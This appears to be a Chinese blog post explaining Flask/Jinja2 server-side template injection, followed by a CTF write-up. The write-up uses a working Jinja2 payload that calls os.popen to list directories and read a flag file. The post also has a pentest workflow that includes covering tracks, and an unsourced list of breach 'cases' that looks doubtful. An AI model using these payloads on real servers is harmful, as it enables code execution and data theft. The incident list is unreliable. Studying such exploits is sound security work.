文章目录
前言
Flask是一个使用Python编写的轻量级Web应用框架。它的设计目标是简单明了,易于扩展和维护。Flask提供了基本的Web开发所需的组件,如路由、请求和响应处理、会话管理、模板渲染等,同时还支持各种第三方扩展和插件,可以轻松地实现各种复杂的Web应用开发。Flask框架也因其灵活性和简易性而广受欢迎,被许多Web开发者用于构建Web应用和API。Flask是一个使用Python编写的轻量级Web应用框架。它的设计目标是简单明了,易于扩展和维护。Flask提供了基本的Web开发所需的组件,如路由、请求和响应处理、会话管理、模板渲染等,同时还支持各种第三方扩展和插件,可以轻松地实现各种复杂的Web应用开发。Flask框架也因其灵活性和简易性而广受欢迎,被许多Web开发者用于构建Web应用和API。
SSTI(Server-Side Template Injection)是一种安全漏洞,可以利用模板引擎解析器来执行恶意代码。在Flask框架中,如果使用了Jinja2模板引擎,并且没有正确地过滤用户输入的数据,攻击者可以通过构造特殊的payload,在模板渲染过程中执行任意代码,从而实现代码注入和服务器接管等攻击。因此,在使用Flask框架时,应该避免SSTI漏洞的出现,可以通过使用可信的模板、过滤用户输入和限制模板变量的范围等方式来加强应用的安全性。SSTI(Server-Side Template Injection)是一种安全漏洞,可以利用模板引擎解析器来执行恶意代码。在Flask框架中,如果使用了Jinja2模板引擎,并且没有正确地过滤用户输入的数据,攻击者可以通过构造特殊的payload,在模板渲染过程中执行任意代码,从而实现代码注入和服务器接管等攻击。因此,在使用Flask框架时,应该避免SSTI漏洞的出现,可以通过使用可信的模板、过滤用户输入和限制模板变量的范围等方式来加强应用的安全性。
SSTI(模板注入攻击)的渗透基本流程如下:
-
收集目标信息:了解目标网站的架构和框架,尽可能多地获取目标信息。
-
寻找潜在漏洞:在目标网站的表单提交、URL 参数传递、cookie 等地方寻找可注入的地方。
-
构造 Payload:根据目标网站的框架和语言,构造适合的 Payload,通常会使用一些特殊的字符或语句来触发模板注入漏洞。
-
执行 Payload:通过将 Payload 插入到目标点,执行 Payload,获取回显结果。
-
分析回显结果:根据回显结果来判断注入是否成功,如果成功了,则可以继续进一步操作。
-
利用漏洞:利用模板注入漏洞进一步获取用户信息、执行任意代码等操作。
-
清理痕迹:在攻击结束后,清理所有痕迹,尽量减少留下任何迹象的可能,以免被发现。
以下是一些SSTI(模板注入攻击)的渗透相关案例:
-
Uber 2018年遭受了SSTI攻击,攻击者成功利用了Flask模板注入漏洞,导致其暴露了大量的客户数据。
-
2019年初,电子支付系统Paytm遭受了SSTI攻击,攻击者成功利用了模板注入漏洞,可以在未经授权的情况下访问支付宝的授权令牌,并转移资金。
-
2018年,美国国家足球联盟(NFL)的官方应用程序遭受了SSTI攻击,攻击者成功利用了模板注入漏洞,在NFL的服务器上执行了任意代码。
-
2017年,互联网安全公司Cloudflare被发现存在SSTI漏洞,攻击者可以通过注入恶意代码在Cloudflare服务器上执行任意代码。
-
2019年初,澳大利亚政府机构Transport for NSW的网站遭遇了SSTI攻击,攻击者通过注入恶意代码,成功地访问了目标服务器的内部文件,包括数据库访问凭证和敏感数据。
一、Simple_SSTI_2
1.题目
2.答题
点击链接进入,题目说:
进入f12,发现并没有什么提示信息,通过{{config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}
读取系统文件
{{ config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}
通过{{ config.__class__.__init__.__globals__['os'].popen('ls ../app').read() }}
读取读取app目录下的文件,发现存在flag文件
{{ config.__class__.__init__.__globals__['os'].popen('ls ../app').read() }}
通过{{ config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read() }}
读取flag内容,读取flag内容,最终得到flag
{{ config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read() }}
得到flag:flag{8358d92a9690a0ec30ce32257f146dba}
原文链接:https://blog.csdn.net/aa2528877987/article/details/131342612?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522169900313616800188521737%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=169900313616800188521737&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~times_rank-4-131342612-null-null.nonecase&utm_term=%E6%BE%B3%E6%B4%B22023